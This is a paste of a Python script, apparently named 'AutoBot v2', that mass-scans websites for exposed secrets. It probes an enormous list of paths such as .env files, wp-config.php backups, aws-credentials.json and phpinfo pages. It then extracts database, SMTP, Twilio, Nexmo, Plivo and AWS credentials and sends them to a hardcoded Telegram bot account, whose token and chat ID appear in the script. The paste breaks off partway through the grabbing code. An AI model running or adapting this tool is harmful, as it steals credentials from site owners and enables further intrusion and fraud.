Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from requests.packages.urllib3.exceptions import InsecureRequestWarning
- from urllib.parse import urlparse
- import threading
- import queue
- import requests
- import re
- import time
- import struct
- import random
- import socket
- import telebot
- import sys
- import bs4
- import copy
- requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
- # ==== EDIT BAGIAN INI ====
- env_path = (".env", "app/config/aws-credentials.json", "app/config.php", "app/phpinfo.php", "pinfo.php", "wp-config.php", "p.php", "i.php", "dashboad/phpinfo.php", "app/.env", "app/config/aws-credentials.json", "php/phpinfo", "php-info", "config/web.php", "test.php", "laravel/config/.env", "wp-config.php", "wp-config.php.bak", "wp-config.php.old", "js/config.js", "config/app.php", "config.php", "config/php.ini", "app/config/php.ini", "app/config/config.php", "phalcon/config.php", "config/.env", ".envr", "prod/.env", "root/.env", "laravel/.env", "env.prod", ".env.php", ".envrc", ".gitlab-ci/.env", ".vscode/.env", "twitter/.env", ".s3cfg", ".msmtprc", ".env.development.local", ".docker/laravel/app/.env", "config.json", ".env.development.local", "public/.env", "admin/.env", "api/.env", ".env.bak", ".env.save", ".env.prod", ".envs", ".env.production", "app/config/secrets.yml", "config/config.json", "info.json", "config/database.yml", "config.js", "config/database.yml", "config/secrets.yml", "app/config/config.yml", "app/config/secrets.yml", "app/config/database.yml", ".config/gatsby/config.json", ".cordova/config.json", ".deployment-config.json", ".docker/config.json", ".docker/daemon.json", ".jupyter/jupyter_notebook_config.json", ".lanproxy/config.json", "_wpeprivate/config.json", "console/base/config.json", "console/payments/config.json", "server/config.json", "app/config/config.yml", "secrets.yml", "database.yml", ".env.dev", ".environment", ".env.local", "aws.yml", "config/aws.yml",
- "phpinfo", "config/packages/swiftmailer.yml", "app/config/packages/doctrine.yml", ".aws/credentials", "phpinfo.php", "info.php", "wp-config.php.bak", "wp-config.php.old", "wp-config.php-backup", ".wp-config.php.swo", "wp-config.php.swp", ".wp-config.swp", "#wp-config.php#", "backup.wp-config.php", "wp-config", "wp-config - Copy.php", "wp-config copy.php", "wp-config_backup", "wp-config_good", "wp-config-backup", "wp-config-backup.php", "wp-config-backup.txt", "wp-config-backup1.txt", "wp-config-good", "wp-config-sample.php", "wp-config-sample.php.bak", "wp-config-sample.php~", "wp-config.backup", "wp-config.bak", "wp-config.bkp", "wp-config.cfg", "wp-config.conf", "wp-config.data", "wp-config.dump", "wp-config.good", "wp-config.htm", "wp-config.html", "wp-config.inc", "wp-config.local.php", "wp-config.old", "wp-config.old.old", "wp-config.ORG", "wp-config.orig", "wp-config.original", "wp-config.php", "wp-config.php_", "wp-config.php__", "wp-config.php______", "wp-config.php__olds", "wp-config.php_1", "wp-config.php_backup", "wp-config.php_bak", "wp-config.php_bk", "wp-config.php_new", "wp-config.php_old", "wp-config.php_old2017", "wp-config.php_old2018", "wp-config.php_old2019", "wp-config.php_old2020", "wp-config.php_orig", "wp-config.php_original", "wp-config.php-", "wp-config.php-backup", "wp-config.php-bak", "wp-config.php-n", "wp-config.php-o", "wp-config.php-old", "wp-config.php-original", "wp-config.php-save", "wp-config.php-work", "wp-config.php.0", "wp-config.php.1", "wp-config.php.2", "wp-config.php.3", "wp-config.php.4", "wp-config.php.5", "wp-config.php.6", "wp-config.php.7", "wp-config.php.8", "wp-config.php.9", "wp-config.php.a", "wp-config.php.aws", "wp-config.php.azure", "wp-config.php.b", "wp-config.php.backup", "wp-config.php.backup.txt", "wp-config.php.bak", "wp-config.php.bak1", "wp-config.php.bk", "wp-config.php.bkp", "wp-config.php.c", "wp-config.php.com", "wp-config.php.cust", "wp-config.php.dev", "wp-config.php.disabled", "wp-config.php.dist", "wp-config.php.dump", "wp-config.php.html", "wp-config.php.in", "wp-config.php.inc", "wp-config.php.local", "wp-config.php.maj", "wp-config.php.new", "wp-config.php.old", "wp-config.php.org", "wp-config.php.orig", "wp-config.php.original", "wp-config.php.php-bak", "wp-config.php.prod", "wp-config.php.production", "wp-config.php.sample", "wp-config.php.save", "wp-config.php.save.1", "wp-config.php.stage", "wp-config.php.staging", "wp-config.php.swn", "wp-config.php.swo", "wp-config.php.swp", "wp-config.php.tar", "wp-config.php.temp", "wp-config.php.tmp", "wp-config.php.txt", "wp-config.php.uk", "wp-config.php.us", "wp-config.php=", "wp-config.php~", "wp-config.php~~~", "wp-config.php1", "wp-config.phpa", "wp-config.phpb", "wp-config.phpbak", "wp-config.phpc", "wp-config.phpd", "wp-config.phpn", "wp-config.phpnew", "wp-config.phpold", "wp-config.phporiginal", "wp-config.phptmp", "wp-config.prod.php.txt", "wp-config.save", "wp-config.tar", "wp-config.temp", "wp-config.txt", "wp-config.zip", "wp-config~", "wp-configbak", "admin/wp-config.php.bak", "admin/wp-config.php.old", "admin/wp-config.php-backup", ".admin/wp-config.php.swo", "admin/wp-config.php.sadmin/wp", ".admin/wp-config.sadmin/wp", "#admin/wp-config.php#", "backup.admin/wp-config.php", "admin/wp-config", "admin/wp-config - Copy.php", "admin/wp-config copy.php", "admin/wp-config_backup", "admin/wp-config_good", "admin/wp-config-backup", "admin/wp-config-backup.php", "admin/wp-config-backup.txt", "admin/wp-config-backup1.txt", "admin/wp-config-good", "admin/wp-config-sample.php", "admin/wp-config-sample.php.bak", "admin/wp-config-sample.php~", "admin/wp-config.backup", "admin/wp-config.bak", "admin/wp-config.bkp", "admin/wp-config.cfg", "admin/wp-config.conf", "admin/wp-config.data", "admin/wp-config.dump", "admin/wp-config.good", "admin/wp-config.htm", "admin/wp-config.html", "admin/wp-config.inc", "admin/wp-config.local.php", "admin/wp-config.old", "admin/wp-config.old.old", "admin/wp-config.ORG", "admin/wp-config.orig", "admin/wp-config.original", "admin/wp-config.php", "admin/wp-config.php_", "admin/wp-config.php__", "admin/wp-config.php______", "admin/wp-config.php__olds", "admin/wp-config.php_1", "admin/wp-config.php_backup", "admin/wp-config.php_bak", "admin/wp-config.php_bk", "admin/wp-config.php_new", "admin/wp-config.php_old", "admin/wp-config.php_old2017", "admin/wp-config.php_old2018", "admin/wp-config.php_old2019", "admin/wp-config.php_old2020", "admin/wp-config.php_orig", "admin/wp-config.php_original", "admin/wp-config.php-", "admin/wp-config.php-backup", "admin/wp-config.php-bak", "admin/wp-config.php-n", "admin/wp-config.php-o", "admin/wp-config.php-old", "admin/wp-config.php-original", "admin/wp-config.php-save", "admin/wp-config.php-work", "admin/wp-config.php.0", "admin/wp-config.php.1", "admin/wp-config.php.2", "admin/wp-config.php.3", "admin/wp-config.php.4", "admin/wp-config.php.5", "admin/wp-config.php.6", "admin/wp-config.php.7", "admin/wp-config.php.8", "admin/wp-config.php.9", "admin/wp-config.php.a", "admin/wp-config.php.aws", "admin/wp-config.php.azure", "admin/wp-config.php.b", "admin/wp-config.php.backup", "admin/wp-config.php.backup.txt", "admin/wp-config.php.bak", "admin/wp-config.php.bak1", "admin/wp-config.php.bk", "admin/wp-config.php.bkp", "admin/wp-config.php.c", "admin/wp-config.php.com", "admin/wp-config.php.cust", "admin/wp-config.php.dev", "admin/wp-config.php.disabled", "admin/wp-config.php.dist", "admin/wp-config.php.dump", "admin/wp-config.php.html", "admin/wp-config.php.in", "admin/wp-config.php.inc", "admin/wp-config.php.local", "admin/wp-config.php.maj", "admin/wp-config.php.new", "admin/wp-config.php.old", "admin/wp-config.php.org", "admin/wp-config.php.orig", "admin/wp-config.php.original", "admin/wp-config.php.php-bak", "admin/wp-config.php.prod", "admin/wp-config.php.production", "admin/wp-config.php.sample", "admin/wp-config.php.save", "admin/wp-config.php.save.1", "admin/wp-config.php.stage", "admin/wp-config.php.staging", "admin/wp-config.php.swn", "admin/wp-config.php.swo", "admin/wp-config.php.sadmin/wp", "admin/wp-config.php.tar", "admin/wp-config.php.temp", "admin/wp-config.php.tmp", "admin/wp-config.php.txt", "admin/wp-config.php.uk", "admin/wp-config.php.us", "admin/wp-config.php=", "admin/wp-config.php~", "admin/wp-config.php~~~", "admin/wp-config.php1", "admin/wp-config.phpa", "admin/wp-config.phpb", "admin/wp-config.phpbak", "admin/wp-config.phpc", "admin/wp-config.phpd", "admin/wp-config.phpn", "admin/wp-config.phpnew", "admin/wp-config.phpold", "admin/wp-config.phporiginal", "admin/wp-config.phptmp", "admin/wp-config.prod.php.txt", "admin/wp-config.save", "admin/wp-config.tar", "admin/wp-config.temp", "admin/wp-config.txt", "admin/wp-config.zip", "admin/wp-config~", "admin/wp-configbak", "wp-config.php.sav", "wp-config.php.copy", "wp-config.php.tmp", "wp-config.php.txt", "wp-config.php.back", "wp-config.php.zip", "wp-config.php.test", "wp-config.php.tgz", "wp-config.php.temp", "wp-config.php.tar.gz", "wp-config.php.bakup", "wp-config.php.war", "wp-config.php.tar", "wp-config.php.saved", "wp-config.php.sav", "wp-config.php.pas", "wp-config.php.ini", "wp-config.php.jar", "wp-config.php.default", "wp-config.php.db", "wp-config.php.dat", "wp-config.php.core", "wp-config.php.conf",
- "wp/wp-config.php.bak", "wp/wp-config.php.old", "wp/wp-config.php-backup", ".wp/wp-config.php.swo", "wp/wp-config.php.swp/wp", ".wp/wp-config.swp/wp", "#wp/wp-config.php#", "backup.wp/wp-config.php", "wp/wp-config", "wp/wp-config - Copy.php", "wp/wp-config copy.php", "wp/wp-config_backup", "wp/wp-config_good", "wp/wp-config-backup", "wp/wp-config-backup.php", "wp/wp-config-backup.txt", "wp/wp-config-backup1.txt", "wp/wp-config-good", "wp/wp-config-sample.php", "wp/wp-config-sample.php.bak", "wp/wp-config-sample.php~", "wp/wp-config.backup", "wp/wp-config.bak", "wp/wp-config.bkp", "wp/wp-config.cfg", "wp/wp-config.conf", "wp/wp-config.data", "wp/wp-config.dump", "wp/wp-config.good", "wp/wp-config.htm", "wp/wp-config.html", "wp/wp-config.inc", "wp/wp-config.local.php", "wp/wp-config.old", "wp/wp-config.old.old", "wp/wp-config.ORG", "wp/wp-config.orig", "wp/wp-config.original", "wp/wp-config.php", "wp/wp-config.php_", "wp/wp-config.php__", "wp/wp-config.php______", "wp/wp-config.php__olds", "wp/wp-config.php_1", "wp/wp-config.php_backup", "wp/wp-config.php_bak", "wp/wp-config.php_bk", "wp/wp-config.php_new", "wp/wp-config.php_old", "wp/wp-config.php_old2017", "wp/wp-config.php_old2018", "wp/wp-config.php_old2019", "wp/wp-config.php_old2020", "wp/wp-config.php_orig", "wp/wp-config.php_original", "wp/wp-config.php-", "wp/wp-config.php-backup", "wp/wp-config.php-bak", "wp/wp-config.php-n", "wp/wp-config.php-o", "wp/wp-config.php-old", "wp/wp-config.php-original", "wp/wp-config.php-save", "wp/wp-config.php-work", "wp/wp-config.php.0", "wp/wp-config.php.1", "wp/wp-config.php.2", "wp/wp-config.php.3", "wp/wp-config.php.4", "wp/wp-config.php.5", "wp/wp-config.php.6", "wp/wp-config.php.7", "wp/wp-config.php.8", "wp/wp-config.php.9", "wp/wp-config.php.a", "wp/wp-config.php.aws", "wp/wp-config.php.azure", "wp/wp-config.php.b", "wp/wp-config.php.backup", "wp/wp-config.php.backup.txt", "wp/wp-config.php.bak", "wp/wp-config.php.bak1", "wp/wp-config.php.bk", "wp/wp-config.php.bkp", "wp/wp-config.php.c", "wp/wp-config.php.com", "wp/wp-config.php.cust", "wp/wp-config.php.dev", "wp/wp-config.php.disabled", "wp/wp-config.php.dist", "wp/wp-config.php.dump", "wp/wp-config.php.html", "wp/wp-config.php.in", "wp/wp-config.php.inc", "wp/wp-config.php.local", "wp/wp-config.php.maj", "wp/wp-config.php.new", "wp/wp-config.php.old", "wp/wp-config.php.org", "wp/wp-config.php.orig", "wp/wp-config.php.original", "wp/wp-config.php.php-bak", "wp/wp-config.php.prod", "wp/wp-config.php.production", "wp/wp-config.php.sample", "wp/wp-config.php.save", "wp/wp-config.php.save.1", "wp/wp-config.php.stage", "wp/wp-config.php.staging", "wp/wp-config.php.swn", "wp/wp-config.php.swo", "wp/wp-config.php.swp/wp", "wp/wp-config.php.tar", "wp/wp-config.php.temp", "wp/wp-config.php.tmp", "wp/wp-config.php.txt", "wp/wp-config.php.uk", "wp/wp-config.php.us", "wp/wp-config.php=", "wp/wp-config.php~", "wp/wp-config.php~~~", "wp/wp-config.php1", "wp/wp-config.phpa", "wp/wp-config.phpb", "wp/wp-config.phpbak", "wp/wp-config.phpc", "wp/wp-config.phpd", "wp/wp-config.phpn", "wp/wp-config.phpnew", "wp/wp-config.phpold", "wp/wp-config.phporiginal", "wp/wp-config.phptmp", "wp/wp-config.prod.php.txt", "wp/wp-config.save", "wp/wp-config.tar", "wp/wp-config.temp", "wp/wp-config.txt", "wp/wp-config.zip", "wp/wp-config~", "wp/wp-configbak", "wordpress/wp-config.php.bak", "wordpress/wp-config.php.old", "wordpress/wp-config.php-backup", ".wordpress/wp-config.php.swo", "wordpress/wp-config.php.swordpress/wp", ".wordpress/wp-config.swordpress/wp", "#wordpress/wp-config.php#", "backup.wordpress/wp-config.php", "wordpress/wp-config", "wordpress/wp-config - Copy.php", "wordpress/wp-config copy.php", "wordpress/wp-config_backup", "wordpress/wp-config_good", "wordpress/wp-config-backup", "wordpress/wp-config-backup.php", "wordpress/wp-config-backup.txt", "wordpress/wp-config-backup1.txt", "wordpress/wp-config-good", "wordpress/wp-config-sample.php", "wordpress/wp-config-sample.php.bak", "wordpress/wp-config-sample.php~", "wordpress/wp-config.backup", "wordpress/wp-config.bak", "wordpress/wp-config.bkp", "wordpress/wp-config.cfg", "wordpress/wp-config.conf", "wordpress/wp-config.data", "wordpress/wp-config.dump", "wordpress/wp-config.good", "wordpress/wp-config.htm", "wordpress/wp-config.html", "wordpress/wp-config.inc", "wordpress/wp-config.local.php", "wordpress/wp-config.old", "wordpress/wp-config.old.old", "wordpress/wp-config.ORG", "wordpress/wp-config.orig", "wordpress/wp-config.original", "wordpress/wp-config.php", "wordpress/wp-config.php_", "wordpress/wp-config.php__", "wordpress/wp-config.php______", "wordpress/wp-config.php__olds", "wordpress/wp-config.php_1", "wordpress/wp-config.php_backup", "wordpress/wp-config.php_bak", "wordpress/wp-config.php_bk", "wordpress/wp-config.php_new", "wordpress/wp-config.php_old", "wordpress/wp-config.php_old2017", "wordpress/wp-config.php_old2018", "wordpress/wp-config.php_old2019", "wordpress/wp-config.php_old2020", "wordpress/wp-config.php_orig", "wordpress/wp-config.php_original", "wordpress/wp-config.php-", "wordpress/wp-config.php-backup", "wordpress/wp-config.php-bak", "wordpress/wp-config.php-n", "wordpress/wp-config.php-o", "wordpress/wp-config.php-old", "wordpress/wp-config.php-original", "wordpress/wp-config.php-save", "wordpress/wp-config.php-work", "wordpress/wp-config.php.0", "wordpress/wp-config.php.1", "wordpress/wp-config.php.2", "wordpress/wp-config.php.3", "wordpress/wp-config.php.4", "wordpress/wp-config.php.5", "wordpress/wp-config.php.6", "wordpress/wp-config.php.7", "wordpress/wp-config.php.8", "wordpress/wp-config.php.9", "wordpress/wp-config.php.a", "wordpress/wp-config.php.aws", "wordpress/wp-config.php.azure", "wordpress/wp-config.php.b", "wordpress/wp-config.php.backup", "wordpress/wp-config.php.backup.txt", "wordpress/wp-config.php.bak", "wordpress/wp-config.php.bak1", "wordpress/wp-config.php.bk", "wordpress/wp-config.php.bkp", "wordpress/wp-config.php.c", "wordpress/wp-config.php.com", "wordpress/wp-config.php.cust", "wordpress/wp-config.php.dev", "wordpress/wp-config.php.disabled", "wordpress/wp-config.php.dist", "wordpress/wp-config.php.dump", "wordpress/wp-config.php.html", "wordpress/wp-config.php.in", "wordpress/wp-config.php.inc", "wordpress/wp-config.php.local", "wordpress/wp-config.php.maj", "wordpress/wp-config.php.new", "wordpress/wp-config.php.old", "wordpress/wp-config.php.org", "wordpress/wp-config.php.orig", "wordpress/wp-config.php.original", "wordpress/wp-config.php.php-bak", "wordpress/wp-config.php.prod", "wordpress/wp-config.php.production", "wordpress/wp-config.php.sample", "wordpress/wp-config.php.save", "wordpress/wp-config.php.save.1", "wordpress/wp-config.php.stage", "wordpress/wp-config.php.staging", "wordpress/wp-config.php.swn", "wordpress/wp-config.php.swo", "wordpress/wp-config.php.swordpress/wp", "wordpress/wp-config.php.tar", "wordpress/wp-config.php.temp", "wordpress/wp-config.php.tmp", "wordpress/wp-config.php.txt", "wordpress/wp-config.php.uk", "wordpress/wp-config.php.us", "wordpress/wp-config.php=", "wordpress/wp-config.php~", "wordpress/wp-config.php~~~", "wordpress/wp-config.php1", "wordpress/wp-config.phpa", "wordpress/wp-config.phpb", "wordpress/wp-config.phpbak", "wordpress/wp-config.phpc", "wordpress/wp-config.phpd", "wordpress/wp-config.phpn", "wordpress/wp-config.phpnew", "wordpress/wp-config.phpold", "wordpress/wp-config.phporiginal", "wordpress/wp-config.phptmp", "wordpress/wp-config.prod.php.txt", "wordpress/wp-config.save", "wordpress/wp-config.tar", "wordpress/wp-config.temp", "wordpress/wp-config.txt", "wordpress/wp-config.zip", "wordpress/wp-config~", "wordpress/wp-configbak", "index.js", "config.js", "config/config.js", "app.js", "config.js", "constant.js", "constants.js", "controller.js", "helper.js", "index.js", "mail.js", "mailer.js", "mailserver.js", "server.js", "utils.js", "admin/app.js", "admin/constant.js", "admin/constants.js", "admin/controller.js", "admin/helper.js", "admin/index.js", "admin/mail.js", "admin/mailer.js", "admin/mailserver.js", "admin/server.js", "admin/utils.js", "admin/config/common.js", "admin/config/constants.js", "admin/config/database.js", "admin/config/template.js", "api/app.js", "api/config.js", "api/constant.js", "api/constants.js", "api/controller.js", "api/helper.js", "api/index.js", "api/mail.js", "api/mailer.js", "api/mailserver.js", "api/server.js", "api/utils.js", "api/controller.js", "api/config/common.js", "api/config/constants.js", "api/config/database.js", "api/config/template.js", "backend/app.js", "backend/config.js", "backend/constant.js", "backend/constants.js", "backend/controller.js", "backend/helper.js", "backend/index.js", "backend/mail.js", "backend/mailer.js", "backend/mailserver.js", "backend/server.js", "backend/utils.js", "backend/config/common.js", "backend/config/constants.js", "backend/config/database.js", "backend/config/template.js", "config/app.js", "config/config.js", "config/constant.js", "config/constants.js", "config/controller.js", "config/helper.js", "config/index.js", "config/mail.js", "config/mailer.js", "config/mailserver.js", "config/server.js", "config/utils.js", "config/common.js", "config/database.js", "config/template.js", "dev/app.js", "dev/config.js", "dev/constant.js", "dev/constants.js", "dev/controller.js", "dev/helper.js", "dev/index.js", "dev/mail.js", "dev/mailer.js", "dev/mailserver.js", "dev/server.js", "dev/utils.js", "dev/config/common.js", "dev/config/constants.js", "dev/config/database.js", "dev/config/template.js", "src/app.js", "src/src.js", "src/constant.js", "src/constants.js", "src/controller.js", "src/helper.js", "src/index.js", "src/mail.js", "src/mailer.js", "src/mailserver.js", "src/server.js", "src/utils.js", "src/config/common.js", "src/config/constants.js", "src/config/database.js", "src/config/template.js", "server/app.js", "server/server.js", "server/constant.js", "server/constants.js", "server/controller.js", "server/helper.js", "server/index.js", "server/mail.js", "server/mailer.js", "server/mailserver.js", "server/server.js", "server/utils.js", "server/config/common.js", "server/config/constants.js", "server/config/database.js", "server/config/template.js", "web/app.js", "web/web.js", "web/constant.js", "web/constants.js", "web/controller.js", "web/helper.js", "web/index.js", "web/mail.js", "web/mailer.js", "web/mailserver.js", "web/server.js", "web/utils.js", "web/config/common.js", "web/config/constants.js", "web/config/database.js", "web/config/template.js", "api/common.js", "api/config/common.js", "API/common.js", "API/config/common.js", "server/helper/aws_s3.js"
- "js/config.js", "js/envConfig.js", "env.config.js", "env.js", "config/settings.py", "properties.ini", "/rista/properties.ini", "index.json", "config.json", "config/config.json", "info.json", ".config/gatsby/config.json", ".cordova/config.json", ".deployment-config.json", ".docker/config.json", ".docker/daemon.json", "_environment", "webroot/index.php/_environment",
- ".jupyter/jupyter_notebook_config.json", ".lanproxy/config.json", "_wpeprivate/config.json", "console/base/config.json", "console/payments/config.json", "server/config.json", ".env.bak", ".env", "config.env", ".env.dist", ".env.dev", ".env.local", "public/.env", "laravel/.env", "laravel/core/.env", "beta/.env", "kyc/.env", "admin/.env", "prod/.env", ".env.backup", ".env.docker.dev", ".env.php", ".env.prod", ".env.production.local", ".env.sample.php", ".env.save", ".env.stage", ".env.test", ".env.test.local", ".env.local", ".env.production", ".env.staging", "backup/.env", "backup/.env.local", "backup/.env.production", "backup/.env.staging", "public/.env", "public/.env.local", "public/.env.production", "public/.env.staging", "laravel/.env", "laravel/.env.local", "laravel/.env.production", "laravel/.env.staging", "laravel/core/.env", "laravel/core/.env.local", "laravel/core/.env.production", "laravel/core/.env.staging", "beta/.env", "beta/.env.local", "beta/.env.production", "beta/.env.staging", "live/.env", "live/.env.local", "live/.env.production", "live/.env.staging", "demo/.env", "demo/.env.local", "demo/.env.production", "demo/.env.staging", "test/.env", "test/.env.local", "test/.env.production", "test/.env.staging", "kyc/.env", "kyc/.env.local", "kyc/.env.production", "kyc/.env.staging", "admin/.env", "admin/.env.local", "admin/.env.production", "admin/.env.staging", "client/.env", "client/.env.local", "client/.env.production", "client/.env.staging", "user/.env", "user/.env.local", "user/.env.staging", "api/.env", "api/.env.local", "api/.env.staging", "api/.env.production", "apis/.env", "apis/.env.local", "apis/.env.staging", "apis/.env.production", "backend/.env", "backend/.env.local", "backend/.env.staging", "backend/.env.production", "server/.env", "server/.env.local", "server/.env.staging", "server/.env.production", "app/.env", "app/.env.local", "app/.env.staging", "app/.env.production", "project/.env", "project/.env.local", "project/.env.staging", "project/.env.production", "cron/.env", "cron/.env.local", "cron/.env.staging", "cron/.env.production", "crm/.env", "crm/.env.local", "crm/.env.staging", "crm/.env.production", "current/.env", "current/.env.local", "current/.env.staging", "current/.env.production", "dev/.env", "dev/.env.local", "dev/.env.staging", "dev/.env.production", "develop/.env", "develop/.env.local", "develop/.env.staging", "develop/.env.production", "development/.env", "development/.env.local", "development/.env.staging", "development/.env.production", "prod/.env", "prod/.env.local", "prod/.env.staging", "prod/.env.production", "product/.env", "product/.env.local", "product/.env.staging", "product/.env.production", "production/.env", "production/.env.local", "production/.env.staging", "production/.env.production", "portal/.env", "portal/.env.local", "portal/.env.staging", "portal/.env.production", "qa/.env", "qa/.env.local", "qa/.env.staging", "qa/.env.production", "stg/.env", "stg/.env.local", "stg/.env.staging", "stg/.env.production", "staging/.env", "staging/.env.local", "staging/.env.staging", "staging/.env.production", "service/.env", "service/.env.local", "service/.env.staging", "service/.env.production", "services/.env", "services/.env.local", "services/.env.staging", "services/.env.production", "storage/.env", "storage/.env.local", "storage/.env.staging", "storage/.env.production", "old/.env", "old/.env.local", "old/.env.staging", "old/.env.production", "new/.env", "new/.env.local", "new/.env.staging", "new/.env.production", "web/.env", "web/.env.local", "web/.env.staging", "web/.env.production", "website/.env", "website/.env.local", "website/.env.staging", "website/.env.production", "market/.env", "market/.env.local", "market/.env.staging", "market/.env.production", "marketing/.env", "marketing/.env.local", "marketing/.env.staging", "marketing/.env.production", "shop/.env", "shop/.env.local", "shop/.env.staging", "shop/.env.production", "public_html/.env", "public_html/.env.local", "public_html/.env.staging", "public_html/.env.production", "xampp/.env", "xampp/.env.local", "xampp/.env.staging", "xampp/.env.production",
- "api/.env", ".docker/.env", ".docker/laravel/app/.env", "env.backup", ".environment", ".envrc", ".envs", ".env~", ".gitlab-ci/.env", ".vscode/.env", "mailer/.env", "twitter/.env", ".env.development.local", ".env", ".env.local", ".env.production", ".env.staging", "backup/.env", "public/.env", "laravel/.env", "config.env", "config/.env", "beta/.env", "live/.env", "lms/.env", "demo/.env", "test/.env", "kyc/.env", "admin/.env", "client/.env", "user/.env", "usr/.env", "api/.env", "apis/.env", "back/.env", "backend/.env", "front/.env", "frontend/.env", "server/.env", "app/.env", "apps/.env", "application/.env", "project/.env", "cron/.env", "current/.env", "dev/.env", "develop/.env", "development/.env", "prod/.env", "product/.env", "production/.env", "portal/.env", "stg/.env", "staging/.env", "service/.env", "services/.env", "storage/.env", "old/.env", "new/.env", "web/.env", "website/.env", "market/.env", "marketing/.env", "media/.env", "node/.env", "nodeapi/.env", "nodeweb/.env", "shop/.env", "public_html/.env", "xampp/.env", "API/.env", "APP/.env", "BACK/.env", "BACKEND/.env", "FRONT/.env", "FRONTEND/.env", "properties.ini", "settings.py", )
- keywords = {
- "database": [
- "DB_CONNECTION", "DB_HOST", "DB_PORT",
- "DB_DATABASE", "DB_USERNAME", "DB_PASSWORD"],
- "appkey": ["APP_KEY"],
- "twilio": [
- "TWILIO_ACCOUNT_SID", "TWILIO_API_KEY", "TWILIO_API_SECRET",
- "TWILIO_SID", "TWILIO_AUTH_TOKEN", "TWILIO_TOKEN",
- "TWILIO_CHAT_SERVICE_SID", "TWILIO_NUMBER"],
- "nexmo": [
- "NEXMO_KEY", "NEXMO_SECRET", "NEXMO_FROM"],
- "plivo": [
- "PLIVO_AUTH_ID", "PLIVO_AUTH_TOKEN", "PLIVO_APP_ID"
- "PLIVO_ID", "PLIVO_AUTH_TOKEN", "PLIVO_TOKEN", "PLIVO_APP_ID"],
- "smtp": [
- 'MAIL_HOST', 'MAIL_PORT', 'MAIL_USERNAME', 'MAIL_PASSWORD',
- "MAIL_FROM_ADDRESS", "MAIL_FROM_NAME"],
- "apache": [
- "Apache Version", "Server Administrator", "Hostname:Port"
- ],
- # aws
- "aws_access_key": [
- "aws_access_key_id", "AKIA[A-Z0-9]{16}", "SES_KEY", "SQS_KEY",
- "DYNAMODB_KEY_ID", "DYNAMODB_KEY", "AWS_KEY_ID",
- "SNS_KEY", "S3_KEY", "EC2_KEY", "AWS_ACCESS_KEY_ID",
- "SES_ACCESS_KEY", "SQS_ACCESS_KEY", "DYNAMODB_ACCESS_KEY"
- "SNS_ACCESS_KEY", "S3_ACCESS_KEY", "EC2_ACCESS_KEY"],
- "aws_secret_key": [
- "aws_secret_access_key", "S3_SECRET", "SNS_SECRET", "AWS_SECRET_ACCESS_KEY",
- "SQS_SECRET", "SES_SECRET", "AWS_SECRET_ACCESS_KEY"],
- "aws_bucket": ["AWS_BUCKET", "S3_BUCKET"],
- "aws_region": ["S3_REGION", "SNS_REGION", "SQS_REGION"],
- "aws_url": ["aws_url"],
- # etc
- "etc": [
- "NEXMO", "NEXMO_KEY",
- "SENDGRID",
- "AWS_SQS", "SQS_KEY", "SQS_ACCESS_KEY",
- "AWS_SNS", "SNS_KEY", "SNS_ACCESS_KEY",
- "AWS_S3", "S3_ACCESS_KEY", "S3_KEY",
- "AWS_SES", "SES_ACCESS_KEY", "SES_KEY",
- "AWS_KEY", "AWS_ACCESS_KEY",
- "DYNAMODB", "DYNAMODB_KEY",
- "PLIVO",
- "smtp.office365",
- "smtp.ionos",
- "TWILIO", "twilio",
- "email-smtp",
- "aws_access_key_id",
- "SMTP_HOST", "MAIL_USERNAME", "MAIL_PASSWORD"
- ]
- }
- TELEGRAM_ACCESS_TOKEN = "6934562918:AAHSnXkizoQeyFb0MyoR3X5k51NssaGa3S8"
- USER_ID = 1185096757
- UPDATE_INTERVAL_IN_MINUTE = 60
- SEND_IN_SECONDS = 1
- PRINT_SITE_DOWN = 0
- # ==== STOP ======
- client = telebot.TeleBot(TELEGRAM_ACCESS_TOKEN)
- xhreg = None
- try:
- client.get_me()
- client.get_chat(USER_ID)
- ch = input("""
- \x1b[92m
- ___ _ ______ _
- / _ \ | | | ___ \ | |
- / /_\ \_ _| |_ ___ | |_/ / ___ | |_
- | _ | | | | __/ _ \| ___ \/ _ \| __|
- | | | | |_| | || (_) | |_/ / (_) | |_
- \_| |_/\__,_|\__\___/\____/ \___/ \__|\x1b[0m v2
- 1. lock head ip
- 2. auto
- ? choose: """.strip("\n"))
- assert ch in ["1", "2"]
- if ch == "1":
- xhreg = re.compile(r"^(?:%s)\." % (
- "|".join(map(
- re.escape, re.split(r"\s*,\s*", input("? input head: "))
- ))
- ))
- thread = int(input("? thread: "))
- print(("=" * 25) + "\nbot started: " + time.strftime("%c"))
- except Exception as e:
- exit("Error: " + str(e))
- # ==== !!!!!!!!! ====
- s = []
- stop = False
- total_ = 0
- def send_worker():
- start = time.perf_counter()
- while not stop or len(s) > 0:
- while len(s) > 0:
- item = s.pop(0)
- client.send_message(USER_ID, item, parse_mode="Markdown")
- print("\x1b[92m%s\x1b[0m: message has been sent:\n%s" %
- (threading.currentThread().name, item))
- time.sleep(SEND_IN_SECONDS)
- end = int(time.perf_counter() - start)
- if end % (60 * UPDATE_INTERVAL_IN_MINUTE) == 0:
- client.send_message(
- USER_ID, "#update: _%s ip successfully processed_" % total_, parse_mode="Markdown")
- # ==== !!!!!!! =====
- class GrabAnything:
- _fn = set()
- _soup = {}
- def __init__(self):
- if len(self._fn) < 1:
- for fn in dir(self):
- if fn.startswith("grab_"):
- self._fn.add(getattr(self, fn))
- def valid(self, s):
- if not s:
- return ""
- s = s.strip("\n\"' ")
- if s in ("no value", "null", "true"):
- return ""
- return s
- @property
- def threadName(self):
- return threading.currentThread().name
- def value(self, raw_name, *args, **kwargs):
- soup = self._soup[self.threadName]
- re_name = re.compile(r"(?i)\s*%s\s*" % raw_name, *args, **kwargs)
- name = soup.find(text=re_name)
- if name:
- sf_dump = name.findNext(class_="sf-dump-str")
- if sf_dump:
- x = self.valid(sf_dump.text)
- if x: return x
- value_ = name.findNext(text=True)
- if value_:
- x = self.valid(value_.string)
- if x: return x
- reg = re.compile(r"(?i)%s=([^>]+?)(?:\n|$)" %
- raw_name, *args, **kwargs)
- value = reg.search(str(soup))
- if value:
- return self.valid(value.group(1))
- def build(self, args, fn=lambda x: x):
- items = []
- for key in args:
- value = fn(key)
- if value:
- items.append(f"{key}={value}")
- if len(items) < 1:
- return None
- return "\n".join(items)
- def grabAll(self, raw, msg=None):
- with lock:
- self._soup[self.threadName] = bs4.BeautifulSoup(raw, "html.parser")
- status = False
- header = msg or ""
- for fn in self._fn:
- name = fn.__name__[5:].replace("_", "")
- resp = fn()
- if resp:
